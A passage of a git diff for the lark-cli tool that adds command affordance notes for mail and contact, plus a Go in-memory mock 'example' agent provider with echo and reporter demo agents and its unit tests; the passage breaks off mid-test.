lark-cli mail user_mailbox.messages get --message-id "<id>"
|
||||
```
|
||||
|
||||
## Notes
|
||||
|
||||
- Write plain prose; the only convention is wrapping command references in `[[ ]]`.
|
||||
- Keep it concise and high-signal — don't restate field/flag names, id types, or
|
||||
anything the schema and flags already show; the agent infers the rest.
|
||||
- Command-form headings resolve to method ids via the registry, so plural resource
|
||||
names (`messages`) map to the singular method id (`message`) automatically.
|
||||
19
affordance/contact.md
Normal file
19
affordance/contact.md
Normal file
@@ -0,0 +1,19 @@
|
||||
# contact
|
||||
> skill: lark-contact
|
||||
|
||||
## user_profiles batch_query
|
||||
Bulk-fetch personal status and signature for user ids you already have.
|
||||
|
||||
### Avoid when
|
||||
- Need more than status/signature (name, dept, email), or don't have the open_id yet → use [[+search-user]]
|
||||
|
||||
### Tips
|
||||
- Off by default — set include_personal_status / include_description to true under query_option
|
||||
- ids in user_ids must match --user-id-type (default open_id)
|
||||
|
||||
### Examples
|
||||
|
||||
**Bulk-query status and signature**
|
||||
```bash
|
||||
lark-cli contact user_profiles batch_query --data '{"user_ids":["ou_3a8b****6a7b"],"query_option":{"include_personal_status":true,"include_description":true}}'
|
||||
```
|
||||
233
agent/example/example.go
Normal file
233
agent/example/example.go
Normal file
@@ -0,0 +1,233 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
// Package example is the in-repo agent provider onboarding template and offline
|
||||
// demo backend: a hypothetical example business domain whose data / calls are
|
||||
// entirely in-memory mocks, with zero network. It has three roles:
|
||||
//
|
||||
// 1. A copy-start point for new integrators — copy the package, rename the
|
||||
// scheme, write plain hook funcs, add one line to agent/register.go. There is
|
||||
// no Factory, no Deps, no probe, no Kind field.
|
||||
// 2. The command tree's offline demo backend — the full agent
|
||||
// list/card/send/task/context chain runs for real without any platform config.
|
||||
// 3. A stable mock scheme for cmd-layer tests.
|
||||
//
|
||||
// The whole provider is a declarative agent.Provider value: metadata + a catalog
|
||||
// of agent.AgentSpec units. Each spec's capability set is exactly the hooks it
|
||||
// wires (the framework derives the card matrix from that), so echo (minimal) and
|
||||
// reporter (full) differ by DATA, not by a Factory branch.
|
||||
package example
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/agent"
|
||||
)
|
||||
|
||||
// Provider is the whole declaration. The Catalog set makes this a catalog-type
|
||||
// provider; the framework derives enumeration (agent list example), the
|
||||
// unknown-id error, and each agent's card matrix from this data.
|
||||
func Provider() agent.Provider {
|
||||
return agent.Provider{
|
||||
Scheme: "example",
|
||||
Label: "Example 演示 agent(内存 mock,零网络)",
|
||||
AgentIDSource: "运行 lark-cli agent list example 查看内置演示 agent 及其 agent_ref(无需任何平台配置)",
|
||||
Identities: []agent.IdentitySpec{{Type: agent.IdentityUser}, {Type: agent.IdentityBot}},
|
||||
// RequiredScopes nil: the mock calls no OAPI, so scope preflight always passes.
|
||||
Catalog: []agent.AgentSpec{echoSpec, reporterSpec},
|
||||
}
|
||||
}
|
||||
|
||||
// echoSpec is the minimal set: it wires Send/GetTask plus the read verbs and
|
||||
// NOTHING else, so its card honestly shows task_cancel / artifact_download /
|
||||
// file_input = false. Capability IS exactly the wired hooks — there is no bool
|
||||
// matrix and no capability-refusal code (the command layer gates unwired hooks).
|
||||
var echoSpec = agent.AgentSpec{
|
||||
ID: "echo",
|
||||
Name: "复读机",
|
||||
Description: "把你发的话原样复读一遍(同一会话续发时带轮次,证明上下文记忆)。最小能力集示范。",
|
||||
Send: echoSend,
|
||||
GetTask: getTask,
|
||||
ListTasks: listTasks,
|
||||
ListContexts: listContexts,
|
||||
GetContext: getContext,
|
||||
DeleteContext: deleteContext,
|
||||
}
|
||||
|
||||
// reporterSpec is the full set: it additionally wires CancelTask +
|
||||
// DownloadArtifact and declares the FileInput/InputRequired behavioral flags. The
|
||||
// difference between the two agents is data you read top-to-bottom, not a branch
|
||||
// inside a Factory.
|
||||
var reporterSpec = agent.AgentSpec{
|
||||
ID: "reporter",
|
||||
Name: "报表生成器",
|
||||
Description: "对任意请求产出一份内联 CSV 报表 artifact,示范 artifact 下载与任务取消链路。",
|
||||
FileInput: true,
|
||||
InputRequired: true,
|
||||
Send: reporterSend,
|
||||
GetTask: getTask,
|
||||
ListTasks: listTasks,
|
||||
ListContexts: listContexts,
|
||||
GetContext: getContext,
|
||||
DeleteContext: deleteContext,
|
||||
CancelTask: cancelTask,
|
||||
DownloadArtifact: downloadArtifact,
|
||||
}
|
||||
|
||||
// ── Hooks: plain funcs. The addressed agent comes from rt.AgentID() (request
|
||||
// data, replacing the old state.agentID). The mock ignores rt's network
|
||||
// methods (CallAPI/CallMultipart/IsBot). There is NO catalog.Lookup guard
|
||||
// anywhere — the framework's LookupSpec validated ref→spec offline before
|
||||
// dispatch, so an unknown id never reaches a hook. ──
|
||||
|
||||
// echoSend echoes the input; from round 2 on it appends a round marker to prove
|
||||
// across commands that context memory works.
|
||||
func echoSend(ctx context.Context, rt agent.Runtime, in agent.SendInput) (*agent.AgentTask, error) {
|
||||
return newTurn(rt.AgentID(), in, func(round int) (string, []agent.Artifact) {
|
||||
reply := in.Text
|
||||
if round > 1 {
|
||||
reply = fmt.Sprintf("%s(第 %d 轮)", in.Text, round)
|
||||
}
|
||||
return reply, nil
|
||||
})
|
||||
}
|
||||
|
||||
// reporterSend produces a fixed inline CSV artifact for any request.
|
||||
func reporterSend(ctx context.Context, rt agent.Runtime, in agent.SendInput) (*agent.AgentTask, error) {
|
||||
return newTurn(rt.AgentID(), in, func(round int) (string, []agent.Artifact) {
|
||||
reply := "报表已生成:quarterly_report.csv(见 artifacts,用 task get --artifact <id> -o <path> 下载)"
|
||||
if n := len(in.Files); n > 0 {
|
||||
reply = fmt.Sprintf("已收到 %d 个附件;%s", n, reply)
|
||||
}
|
||||
return reply, []agent.Artifact{{ID: newID("art"), Kind: "text"}}
|
||||
})
|
||||
}
|
||||
|
||||
// newTurn factors the shared store flow: start/continue a context, then create a
|
||||
// task whose body the caller builds per round. The mock task is instantly
|
||||
// terminal, so there is no "feed input to a running task" scenario — continuing
|
||||
// via --task-id returns failed_precondition (the request is valid but the target
|
||||
// state does not satisfy it, so the AI knows to start a new task instead).
|
||||
func newTurn(agentID string, in agent.SendInput, build func(round int) (reply string, artifacts []agent.Artifact)) (*agent.AgentTask, error) {
|
||||
if in.TaskID != "" {
|
||||
return nil, errs.NewValidationError(errs.SubtypeFailedPrecondition,
|
||||
"example 的任务发出即完成(终态),无法向已有任务续发").
|
||||
WithParam("--task-id").
|
||||
WithHint("去掉 --task-id,用 --context-id 在同一会话起新一轮任务")
|
||||
}
|
||||
ctxID := in.ContextID
|
||||
if ctxID == "" {
|
||||
var err error
|
||||
ctxID, err = store.createContext(agentID, truncateTitle(in.Text))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
// createTask validates context ownership under the lock (an unknown /
|
||||
// cross-agent context id is rejected inside with a typed error), computes the
|
||||
// round, and inserts atomically.
|
||||
task, err := store.createTask(agentID, ctxID, func(round int) agent.AgentTask {
|
||||
reply, artifacts := build(round)
|
||||
return agent.AgentTask{
|
||||
TaskID: newID("task"),
|
||||
ContextID: ctxID,
|
||||
State: agent.StateCompleted,
|
||||
IsTerminal: true,
|
||||
Messages: []agent.Message{
|
||||
{Role: "user", Parts: []agent.Part{{Type: "text", Text: in.Text}}},
|
||||
{Role: "agent", Parts: []agent.Part{{Type: "text", Text: reply}}},
|
||||
},
|
||||
Artifacts: artifacts,
|
||||
}
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &task, nil
|
||||
}
|
||||
|
||||
func getTask(ctx context.Context, rt agent.Runtime, taskID string) (*agent.AgentTask, error) {
|
||||
task, err := store.getTask(rt.AgentID(), taskID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &task, nil
|
||||
}
|
||||
|
||||
func listTasks(ctx context.Context, rt agent.Runtime, contextID string) ([]agent.TaskSummary, error) {
|
||||
return store.listTasks(rt.AgentID(), contextID), nil
|
||||
}
|
||||
|
||||
func listContexts(ctx context.Context, rt agent.Runtime) ([]agent.ContextSummary, error) {
|
||||
return store.listContexts(rt.AgentID()), nil
|
||||
}
|
||||
|
||||
func getContext(ctx context.Context, rt agent.Runtime, ctxID string) (*agent.ContextDetail, error) {
|
||||
return store.getContext(rt.AgentID(), ctxID)
|
||||
}
|
||||
|
||||
func deleteContext(ctx context.Context, rt agent.Runtime, ctxID string) error {
|
||||
return store.deleteContext(rt.AgentID(), ctxID)
|
||||
}
|
||||
|
||||
// cancelTask is wired only for reporter, so echo never reaches it (the command
|
||||
// layer gates echo's cancel on the nil field). The mock task is completed the
|
||||
// moment it is sent, so canceling a terminal task returns a failed_precondition
|
||||
// typed error rather than pretending success.
|
||||
func cancelTask(ctx context.Context, rt agent.Runtime, taskID string) error {
|
||||
task, err := store.getTask(rt.AgentID(), taskID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if task.State.IsTerminal() {
|
||||
return errs.NewValidationError(errs.SubtypeFailedPrecondition,
|
||||
"任务 '%s' 已处于终态 %s,无法取消", taskID, task.State).
|
||||
WithHint("终态任务不可取消;用 lark-cli agent task get example:%s %s 查看结果", rt.AgentID(), taskID)
|
||||
}
|
||||
return store.setTaskState(taskID, agent.StateCanceled)
|
||||
}
|
||||
|
||||
// reportCSV is the fixed content of the reporter artifact (inline Bytes type).
|
||||
const reportCSV = "quarter,revenue,cost,margin\n" +
|
||||
"2026Q1,1250,830,0.336\n" +
|
||||
"2026Q2,1410,905,0.358\n"
|
||||
|
||||
// downloadArtifact is wired only for reporter (echo is gated on the nil field).
|
||||
// It returns inline Bytes; a real provider would fill URL instead and let the
|
||||
// command layer SSRF-validate + fetch.
|
||||
//
|
||||
// Teaching point (suggested_name): ArtifactData.Name is the server-suggested
|
||||
// file name, echoed back only as a reference for choosing -o — it is untrusted
|
||||
// and never participates in constructing the local save path (the save path is
|
||||
// always -o/SafeOutputPath).
|
||||
func downloadArtifact(ctx context.Context, rt agent.Runtime, taskID, artifactID string) (*agent.ArtifactData, error) {
|
||||
task, err := store.getTask(rt.AgentID(), taskID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, a := range task.Artifacts {
|
||||
if a.ID == artifactID {
|
||||
return &agent.ArtifactData{
|
||||
Name: "quarterly_report.csv",
|
||||
Mime: "text/csv",
|
||||
Bytes: []byte(reportCSV),
|
||||
}, nil
|
||||
}
|
||||
}
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"任务 '%s' 名下没有产物 '%s'", taskID, artifactID).
|
||||
WithHint("运行 lark-cli agent task get example:%s %s 查看该任务的 artifacts", rt.AgentID(), taskID)
|
||||
}
|
||||
|
||||
// truncateTitle takes the first few characters of the message as the context
|
||||
// title (truncated by rune to avoid cutting a character in half).
|
||||
func truncateTitle(s string) string {
|
||||
const max = 20
|
||||
r := []rune(s)
|
||||
if len(r) <= max {
|
||||
return s
|
||||
}
|
||||
return string(r[:max]) + "…"
|
||||
}
|
||||
448
agent/example/example_test.go
Normal file
448
agent/example/example_test.go
Normal file
@@ -0,0 +1,448 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package example
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/agent/agenttest"
|
||||
)
|
||||
|
||||
// Register the example provider for this test binary (provider packages are pure
|
||||
// data now — the top-level agent package's init does this in production, but that
|
||||
// package cannot be imported here without an import cycle).
|
||||
func init() { agent.Register(Provider()) }
|
||||
|
||||
// fakeRuntime is the offline test runtime: it supplies the addressed agent_id
|
||||
// and no-ops the network methods (the mock hooks only ever read AgentID()).
|
||||
type fakeRuntime struct{ agentID string }
|
||||
|
||||
func (r fakeRuntime) AgentID() string { return r.agentID }
|
||||
func (r fakeRuntime) IsBot() bool { return false }
|
||||
func (r fakeRuntime) CallAPI(context.Context, string, string, map[string]string, any) (json.RawMessage, error) {
|
||||
return nil, nil
|
||||
}
|
||||
func (r fakeRuntime) CallMultipart(context.Context, string, string, map[string]string, []agent.FilePart) (json.RawMessage, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// swapStore replaces the package-level store with an isolated instance pointing at
|
||||
// t.TempDir, so tests do not pollute each other or the local demo snapshot.
|
||||
func swapStore(t *testing.T) {
|
||||
t.Helper()
|
||||
old := store
|
||||
store = newMemoryStore(filepath.Join(t.TempDir(), "state.json"))
|
||||
t.Cleanup(func() { store = old })
|
||||
}
|
||||
|
||||
// TestConformance runs the shared conformance suite for both catalog entries.
|
||||
func TestConformance(t *testing.T) {
|
||||
agenttest.RunConformance(t, "example", "echo")
|
||||
}
|
||||
|
||||
func TestConformanceReporter(t *testing.T) {
|
||||
agenttest.RunConformance(t, "example", "reporter")
|
||||
}
|
||||
|
||||
// TestCapabilityMatrixDiverges pins the deliberate difference between the two
|
||||
// agents, derived purely from which hooks each spec wires.
|
||||
func TestCapabilityMatrixDiverges(t *testing.T) {
|
||||
ec := agent.DeriveCapabilities(&echoSpec)
|
||||
rc := agent.DeriveCapabilities(&reporterSpec)
|
||||
if ec.ArtifactDownload || ec.FileInput || ec.TaskCancel {
|
||||
t.Errorf("echo should be the minimal set (no artifact/file/cancel), got %+v", ec)
|
||||
}
|
||||
if !ec.ContextList || !ec.ContextGet || !ec.ContextDelete || !ec.TaskGet || !ec.TaskList {
|
||||
t.Errorf("echo should support context_list/get/delete + task_get/task_list, got %+v", ec)
|
||||
}
|
||||
if !(rc.ArtifactDownload && rc.FileInput && rc.TaskCancel && rc.InputRequired && rc.ContextList && rc.ContextGet && rc.ContextDelete && rc.TaskGet && rc.TaskList) {
|
||||
t.Errorf("reporter should have everything enabled, got %+v", rc)
|
||||
}
|
||||
}
|
||||
|
||||
// TestEchoUnwiredCapabilities verifies the new model: echo simply leaves
|
||||
// CancelTask / DownloadArtifact unwired and FileInput false — no refusal code.
|
||||
func TestEchoUnwiredCapabilities(t *testing.T) {
|
||||
if echoSpec.CancelTask != nil {
|
||||
t.Error("echo should not wire CancelTask (task_cancel=false)")
|
||||
}
|
||||
if echoSpec.DownloadArtifact != nil {
|
||||
t.Error("echo should not wire DownloadArtifact (artifact_download=false)")
|
||||
}
|
||||
if echoSpec.FileInput {
|
||||
t.Error("echo should not accept file input (file_input=false)")
|
||||
}
|
||||
}
|
||||
|
||||
// TestEchoMultiTurn verifies multi-turn context memory across the read verbs.
|
||||
func TestEchoMultiTurn(t *testing.T) {
|
||||
swapStore(t)
|
||||
rt := fakeRuntime{"echo"}
|
||||
ctx := context.Background()
|
||||
|
||||
t1, err := echoSend(ctx, rt, agent.SendInput{Text: "hello"})
|
||||
if err != nil {
|
||||
t.Fatalf("first-turn send: %v", err)
|
||||
}
|
||||
if t1.State != agent.StateCompleted || t1.ContextID == "" || t1.TaskID == "" {
|
||||
t.Fatalf("first turn should be completed with context_id/task_id: %+v", t1)
|
||||
}
|
||||
if got := agentReply(t, t1); got != "hello" {
|
||||
t.Fatalf("first-turn echo should be the original text, got %q", got)
|
||||
}
|
||||
|
||||
t2, err := echoSend(ctx, rt, agent.SendInput{Text: "再来", ContextID: t1.ContextID})
|
||||
if err != nil {
|
||||
t.Fatalf("follow-up send: %v", err)
|
||||
}
|
||||
if t2.ContextID != t1.ContextID {
|
||||
t.Fatalf("follow-up should stay in the same context: %q vs %q", t2.ContextID, t1.ContextID)
|
||||
}
|
||||
if got := agentReply(t, t2); got != "再来(第 2 轮)" {
|
||||
t.Fatalf("second-turn echo should carry a turn marker, got %q", got)
|
||||
}
|
||||
|
||||
got, err := getTask(ctx, rt, t2.TaskID)
|
||||
if err != nil {
|
||||
t.Fatalf("getTask: %v", err)
|
||||
}
|
||||
if agentReply(t, got) != "再来(第 2 轮)" {
|
||||
t.Fatalf("getTask should replay the stored messages, got %+v", got.Messages)
|
||||
}
|
||||
tasks, err := listTasks(ctx, rt, t1.ContextID)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(tasks) != 2 {
|
||||
t.Fatalf("the same context should have 2 tasks, got %d", len(tasks))
|
||||
}
|
||||
// Every summary carries the enriched fields: a status timestamp and the
|
||||
// one-line digest (the last agent message). listTasks returns creation order,
|
||||
// so tasks[0] is the first turn and tasks[1] the second.
|
||||
for _, ts := range tasks {
|
||||
if ts.UpdatedAt == "" {
|
||||
t.Errorf("task summary should carry updated_at: %+v", ts)
|
||||
}
|
||||
}
|
||||
if tasks[0].Summary != "hello" {
|
||||
t.Errorf("first task summary should be the last agent message %q, got %q", "hello", tasks[0].Summary)
|
||||
}
|
||||
if tasks[1].Summary != "再来(第 2 轮)" {
|
||||
t.Errorf("second task summary should carry the round marker, got %q", tasks[1].Summary)
|
||||
}
|
||||
ctxs, err := listContexts(ctx, rt)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(ctxs) != 1 || ctxs[0].ContextID != t1.ContextID {
|
||||
t.Fatalf("should have exactly 1 context with a matching id, got %+v", ctxs)
|
||||
}
|
||||
if ctxs[0].TaskCount != 2 || ctxs[0].AwaitingInput {
|
||||
t.Errorf("context summary should roll up task_count=2, awaiting_input=false, got %+v", ctxs[0])
|
||||
}
|
||||
if ctxs[0].UpdatedAt == "" {
|
||||
t.Error("context summary should carry updated_at")
|
||||
}
|
||||
|
||||
// context get NO LONGER returns a full tasks[]: it is metadata + rollup + the
|
||||
// single most-recent active_task (t2, the latest by updated_at).
|
||||
detail, err := getContext(ctx, rt, t1.ContextID)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if detail.TaskCount != 2 {
|
||||
t.Fatalf("context detail should report task_count=2, got %+v", detail)
|
||||
}
|
||||
if detail.AwaitingInput {
|
||||
t.Errorf("both tasks are completed, awaiting_input should be false: %+v", detail)
|
||||
}
|
||||
if detail.ActiveTask == nil || detail.ActiveTask.TaskID != t2.TaskID {
|
||||
t.Fatalf("active_task should be the most recent task (t2 %s), got %+v", t2.TaskID, detail.ActiveTask)
|
||||
}
|
||||
if detail.ActiveTask.Summary != "再来(第 2 轮)" {
|
||||
t.Errorf("active_task.summary should be the last agent message, got %q", detail.ActiveTask.Summary)
|
||||
}
|
||||
if detail.ActiveTask.UpdatedAt == "" {
|
||||
t.Error("active_task.updated_at should be populated")
|
||||
}
|
||||
}
|
||||
|
||||
// TestCrossAgentIsolation pins the load-bearing per-agent isolation guard: echo
|
||||
// and reporter share one package-global store, so a task/context created under
|
||||
// one agent MUST be invisible to the other agent's runtime (get/delete return a
|
||||
// not-found error; list returns nothing). Without this guard
|
||||
// `agent task get example:reporter <echo-task-id>` would leak echo's data.
|
||||
func TestCrossAgentIsolation(t *testing.T) {
|
||||
swapStore(t)
|
||||
ctx := context.Background()
|
||||
echo := fakeRuntime{"echo"}
|
||||
reporter := fakeRuntime{"reporter"}
|
||||
|
||||
t1, err := echoSend(ctx, echo, agent.SendInput{Text: "secret"})
|
||||
if err != nil {
|
||||
t.Fatalf("echo send: %v", err)
|
||||
}
|
||||
|
||||
// reporter must not read/delete echo's task or context.
|
||||
if _, err := getTask(ctx, reporter, t1.TaskID); err == nil {
|
||||
t.Error("reporter must not read echo's task (cross-agent leak)")
|
||||
}
|
||||
if _, err := getContext(ctx, reporter, t1.ContextID); err == nil {
|
||||
t.Error("reporter must not read echo's context (cross-agent leak)")
|
||||
}
|
||||
if err := deleteContext(ctx, reporter, t1.ContextID); err == nil {
|
||||
t.Error("reporter must not delete echo's context (cross-agent leak)")
|
||||
}
|
||||
if tasks, _ := listTasks(ctx, reporter, ""); len(tasks) != 0 {
|
||||
t.Errorf("reporter should see no echo tasks, got %d", len(tasks))
|
||||
}
|
||||
if ctxs, _ := listContexts(ctx, reporter); len(ctxs) != 0 {
|
||||
t.Errorf("reporter should see no echo contexts, got %d", len(ctxs))
|
||||
}
|
||||
|
||||
// echo still sees its own data, and its context survived reporter's delete.
|
||||
if _, err := getTask(ctx, echo, t1.TaskID); err != nil {
|
||||
t.Errorf("echo must still read its own task: %v", err)
|
||||
}
|
||||
if _, err := getContext(ctx, echo, t1.ContextID); err != nil {
|
||||
t.Errorf("echo's context must survive a cross-agent delete attempt: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestStateSurvivesReload pins the cross-process semantics via the shared snapshot.
|
||||
func TestStateSurvivesReload(t *testing.T) {
|
||||
swapStore(t)
|
||||
rt := fakeRuntime{"echo"}
|
||||
task, err := echoSend(context.Background(), rt, agent.SendInput{Text: "persist"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
store = newMemoryStore(store.path) // a new process view; only the snapshot file is shared
|
||||
got, err := getTask(context.Background(), rt, task.TaskID)
|
||||
if err != nil {
|
||||
t.Fatalf("getTask after reload: %v", err)
|
||||
}
|
||||
if got.ContextID != task.ContextID {
|
||||
t.Fatalf("task should replay fully after reload: %+v", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestReporterArtifactFlow verifies the full artifact chain.
|
||||
func TestReporterArtifactFlow(t *testing.T) {
|
||||
swapStore(t)
|
||||
rt := fakeRuntime{"reporter"}
|
||||
ctx := context.Background()
|
||||
|
||||
task, err := reporterSend(ctx, rt, agent.SendInput{Text: "本季度报表"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(task.Artifacts) != 1 {
|
||||
t.Fatalf("reporter should produce 1 artifact, got %+v", task.Artifacts)
|
||||
}
|
||||
art := task.Artifacts[0]
|
||||
if art.ID == "" || art.Kind != "text" {
|
||||
t.Fatalf("artifact should carry ID + Kind=text, got %+v", art)
|
||||
}
|
||||
|
||||
data, err := downloadArtifact(ctx, rt, task.TaskID, art.ID)
|
||||
if err != nil {
|
||||
t.Fatalf("downloadArtifact: %v", err)
|
||||
}
|
||||
if data.Name != "quarterly_report.csv" || data.Mime != "text/csv" {
|
||||
t.Errorf("suggested_name/mime wrong: %+v", data)
|
||||
}
|
||||
if !strings.HasPrefix(string(data.Bytes), "quarter,revenue") {
|
||||
t.Errorf("should return inline CSV bytes, got %q", string(data.Bytes))
|
||||
}
|
||||
|
||||
if _, err := downloadArtifact(ctx, rt, task.TaskID, "art_nope"); err == nil {
|
||||
t.Fatal("unknown artifact id should return an error")
|
||||
} else if _, ok := errs.ProblemOf(err); !ok {
|
||||
t.Fatalf("unknown artifact id should be a typed error, got %T: %v", err, err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestReporterCancelTerminal verifies reporter's cancel returns failed_precondition
|
||||
// for a terminal task (the mock task is completed the moment it is sent).
|
||||
func TestReporterCancelTerminal(t *testing.T) {
|
||||
swapStore(t)
|
||||
rt := fakeRuntime{"reporter"}
|
||||
ctx := context.Background()
|
||||
task, err := reporterSend(ctx, rt, agent.SendInput{Text: "报表"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
err = cancelTask(ctx, rt, task.TaskID)
|
||||
if err == nil {
|
||||
t.Fatal("canceling a terminal task should return an error")
|
||||
}
|
||||
prob, ok := errs.ProblemOf(err)
|
||||
if !ok || prob.Subtype != errs.SubtypeFailedPrecondition {
|
||||
t.Fatalf("terminal cancel should be failed_precondition, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestUnknownCatalogID verifies an unknown catalog id is a typed error from the
|
||||
// framework's LookupSpec (with a hint pointing to agent list example).
|
||||
func TestUnknownCatalogID(t *testing.T) {
|
||||
_, _, _, err := agent.LookupSpec("example:nonexistent")
|
||||
if err == nil {
|
||||
t.Fatal("an unknown catalog id should return an error")
|
||||
}
|
||||
prob, ok := errs.ProblemOf(err)
|
||||
if !ok || prob.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("unknown catalog id should be an invalid_argument typed error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendGuards pins send's two typed rejections: --task-id follow-up and an
|
||||
// unknown context id.
|
||||
func TestSendGuards(t *testing.T) {
|
||||
swapStore(t)
|
||||
rt := fakeRuntime{"echo"}
|
||||
ctx := context.Background()
|
||||
|
||||
_, err := echoSend(ctx, rt, agent.SendInput{Text: "hi", ContextID: "ctx_x", TaskID: "task_x"})
|
||||
if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeFailedPrecondition {
|
||||
t.Fatalf("--task-id follow-up should be failed_precondition, got %v", err)
|
||||
}
|
||||
|
||||
_, err = echoSend(ctx, rt, agent.SendInput{Text: "hi", ContextID: "ctx_missing"})
|
||||
if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("unknown context id should be invalid_argument, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestDeleteContext verifies deleting a context also cleans up its tasks.
|
||||
func TestDeleteContext(t *testing.T) {
|
||||
swapStore(t)
|
||||
rt := fakeRuntime{"echo"}
|
||||
ctx := context.Background()
|
||||
task, err := echoSend(ctx, rt, agent.SendInput{Text: "bye"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := deleteContext(ctx, rt, task.ContextID); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := getTask(ctx, rt, task.TaskID); err == nil {
|
||||
t.Fatal("after deleting the context its tasks should be unqueryable")
|
||||
}
|
||||
ctxs, err := listContexts(ctx, rt)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(ctxs) != 0 {
|
||||
t.Fatalf("no contexts should remain after deletion, got %+v", ctxs)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextRollupPicksLatestUpdated pins the enriched-summary rollup rule: the
|
||||
// active_task is the task with the LATEST updated_at (not the last created), the
|
||||
// rollup counts tasks and flags awaiting_input, and an input_required active
|
||||
// task's summary is its pending prompt. It seeds the store directly with
|
||||
// out-of-creation-order timestamps so "latest updated_at wins" is tested
|
||||
// independently of insertion order.
|
||||
func TestContextRollupPicksLatestUpdated(t *testing.T) {
|
||||
swapStore(t)
|
||||
store.loaded = true // seed in-memory directly; skip the (missing) snapshot load
|
||||
store.Contexts["ctx_1"] = &contextRecord{
|
||||
AgentID: "echo", ContextID: "ctx_1", CreatedAt: "2026-07-01T00:00:00Z",
|
||||
Seq: 1, TaskIDs: []string{"t_a", "t_b", "t_c"},
|
||||
}
|
||||
store.Tasks["t_a"] = &taskRecord{AgentID: "echo", Seq: 2, Task: agent.AgentTask{
|
||||
TaskID: "t_a", ContextID: "ctx_1", State: agent.StateCompleted, IsTerminal: true,
|
||||
UpdatedAt: "2026-07-03T00:00:00Z", Messages: agentMessage("A 完成"),
|
||||
}}
|
||||
// t_b has the LATEST updated_at yet is created before t_c, and is input_required.
|
||||
store.Tasks["t_b"] = &taskRecord{AgentID: "echo", Seq: 3, Task: agent.AgentTask{
|
||||
TaskID: "t_b", ContextID: "ctx_1", State: agent.StateInputRequired,
|
||||
UpdatedAt: "2026-07-05T00:00:00Z", InputRequired: &agent.InputRequired{Prompt: "按大区还是品类拆?"},
|
||||
}}
|
||||
store.Tasks["t_c"] = &taskRecord{AgentID: "echo", Seq: 4, Task: agent.AgentTask{
|
||||
TaskID: "t_c", ContextID: "ctx_1", State: agent.StateCompleted, IsTerminal: true,
|
||||
UpdatedAt: "2026-07-04T00:00:00Z", Messages: agentMessage("C 完成"),
|
||||
}}
|
||||
|
||||
rt := fakeRuntime{"echo"}
|
||||
detail, err := getContext(context.Background(), rt, "ctx_1")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if detail.TaskCount != 3 {
|
||||
t.Errorf("task_count should be 3, got %d", detail.TaskCount)
|
||||
}
|
||||
if !detail.AwaitingInput {
|
||||
t.Error("awaiting_input should be true (t_b is input_required)")
|
||||
}
|
||||
if detail.ActiveTask == nil || detail.ActiveTask.TaskID != "t_b" {
|
||||
t.Fatalf("active_task should be t_b (latest updated_at), not the last-created task, got %+v", detail.ActiveTask)
|
||||
}
|
||||
if detail.ActiveTask.Summary != "按大区还是品类拆?" {
|
||||
t.Errorf("an input_required active task's summary should be its pending prompt, got %q", detail.ActiveTask.Summary)
|
||||
}
|
||||
if detail.UpdatedAt != "2026-07-05T00:00:00Z" {
|
||||
t.Errorf("context updated_at should roll up to the latest task, got %q", detail.UpdatedAt)
|
||||
}
|
||||
|
||||
// context list carries the same rollup.
|
||||
ctxs, err := listContexts(context.Background(), rt)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(ctxs) != 1 {
|
||||
t.Fatalf("expected 1 context, got %d", len(ctxs))
|
||||
}
|
||||
if ctxs[0].UpdatedAt != "2026-07-05T00:00:00Z" || ctxs[0].TaskCount != 3 || !ctxs[0].AwaitingInput {
|
||||
t.Errorf("context summary rollup wrong: %+v", ctxs[0])
|
||||
}
|
||||
}
|
||||
|
||||
// TestTaskSummaryText pins the digest rule: rune-safe truncation to ~100 runes,
|
||||
// and that an input_required task prefers its pending prompt over the last agent
|
||||
// message.
|
||||
func TestTaskSummaryText(t *testing.T) {
|
||||
long := strings.Repeat("字", 250)
|
||||
got := taskSummaryText(agent.AgentTask{Messages: agentMessage(long)})
|
||||
if n := len([]rune(got)); n != summaryMaxRunes {
|
||||
